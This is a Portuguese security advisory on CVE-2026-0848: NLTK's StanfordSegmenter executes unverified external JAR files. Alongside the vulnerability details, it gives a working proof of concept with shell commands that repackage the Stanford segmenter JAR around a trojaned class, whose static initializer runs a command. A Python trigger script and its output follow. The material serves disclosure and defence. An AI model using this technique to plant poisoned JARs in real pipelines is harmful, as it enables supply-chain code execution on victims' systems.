nltk.tokenize.StanfordSegmenter carrega dinamicamente arquivos .jar Java externos sem verificação ou sandboxing. Se um atacante puder fornecer ou substituir o JAR (por exemplo, download de modelo envenenado, troca de pacote via MITM ou envenenamento de dependência), bytecode Java arbitrário é executado no momento da importação.
-red?style=for-the-badge){kind=icon}
-brightgreen?style=for-the-badge){kind=icon}
| Campo | Detalhes |
|---|---|
| ID da CVE | CVE-2026-0848 |
| Pacote | nltk (Natural Language Toolkit) |
| Registro | PyPI |
| Versões Afetadas | <= 3.9.2 |
| Tipo de Vulnerabilidade | CWE-20: Validação de Entrada Incorreta |
| Pontuação CVSS | 10.0 (Crítica) |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Escopo | Alterado |
| Impacto na Confidencialidade | Alto |
| Impacto na Integridade | Alto |
| Impacto na Disponibilidade | Alto |
| Reportado em | 6 de dezembro de 2025 |
| CVE Publicado | Março de 2026 |
| Suportado Por | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter carrega dinamicamente arquivos Java .jar externos via subprocess sem realizar nenhuma verificação de integridade, verificação de assinatura ou sandboxing. A classe aceita parâmetros totalmente controlados pelo atacante, incluindo path_to_jar, path_to_model, path_to_dict e java_class, e os repassa diretamente para uma invocação java -cp.
Se um atacante puder fornecer ou substituir o arquivo JAR — por meio de um download de modelo envenenado, uma troca de pacote man-in-the-middle, envenenamento de dependência ou um espelho de lançamento corrompido — bytecode Java arbitrário é executado no momento do carregamento da classe por meio do mecanismo de inicializador estático da JVM. Isso constitui uma vulnerabilidade de Execução Remota de Código na cadeia de suprimentos e escapa completamente do runtime do Python.
| Arquivo | Linhas | Descrição |
|---|---|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | Aceita path_to_jar, path_to_model, path_to_dict e java_class controlados pelo atacante, sem validação |
nltk/internals.py | L220–L300 | Lança a execução Java diretamente com caminho de JAR e classpath controlados pelo usuário, sem sandboxing ou verificação de soma de verificação |
nltk/internals.py | L109–L152 | subprocess.Popen() executa Java com entrada de classpath não validada, permitindo que a JVM carregue bytecode arbitrário e execute inicializadores estáticos |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Métrica | Valor |
|---|---|
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Escopo | Alterado |
| Confidencialidade | Alta |
| Integridade | Alta |
| Disponibilidade | Alta |
A exploração bem-sucedida concede ao atacante controle total sobre o sistema que executa o processo de segmentação do NLTK:
Runtime.getRuntime().exec() ou ProcessBuilder para executar comandos shell arbitrários| Cenário | Impacto |
|---|---|
| Pesquisador de ML carrega um segmentador pré-treinado da internet | Atacante remoto obtém execução de código |
| Organização baixa um ZIP de modelo de segmentação chinês corrompido | Malware é executado dentro do pipeline de NLP em produção |
Servidor de CI/CD instala modelo via wget/unzip de um espelho não HTTPS | Comprometimento total do ambiente |
| Tomada de dependência ou espelho de lançamento envenenado | RCE completa na cadeia de suprimentos |
Esta vulnerabilidade afeta qualquer fluxo de trabalho de NLP que use StanfordSegmenter, incluindo chatbots, pipelines de pré-processamento de LLM, segmentação de conjuntos de dados, classificação de documentos e serviços de inferência em produção.
Esta informação é fornecida apenas para fins educacionais e de defesa. Não teste contra sistemas que você não possui ou para os quais não tem autorização explícita para testar.
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
Saída:
[+] Acionando payload via JAR Stanford modificado...
Payload executado — Código executado no carregamento da classe!
[+] Executando segmentação...
我 爱 自然语言 处理
Confirmar RCE:
ls /tmp | grep pwned_hijack
# pwned_hijack
A vulnerabilidade existe em dois arquivos:
stanford_segmenter.py — O construtor da classe StanfordSegmenter aceita path_to_jar, path_to_model, path_to_dict e java_class como argumentos de string simples e os encaminha diretamente para a camada de execução Java sem realizar nenhuma das seguintes ações:
java_class em relação a um conjunto de nomes de classe conhecidos como segurosinternals.py — O auxiliar java() constrói e lança uma chamada subprocess.Popen() com o classpath fornecido pelo usuário. A JVM carrega imediatamente todas as classes do JAR fornecido, executando quaisquer blocos inicializadores estáticos antes que a lógica do aplicativo seja executada. Não há sandbox, nenhuma barreira de integridade e nenhum mecanismo para impedir a execução de bytecode injetado.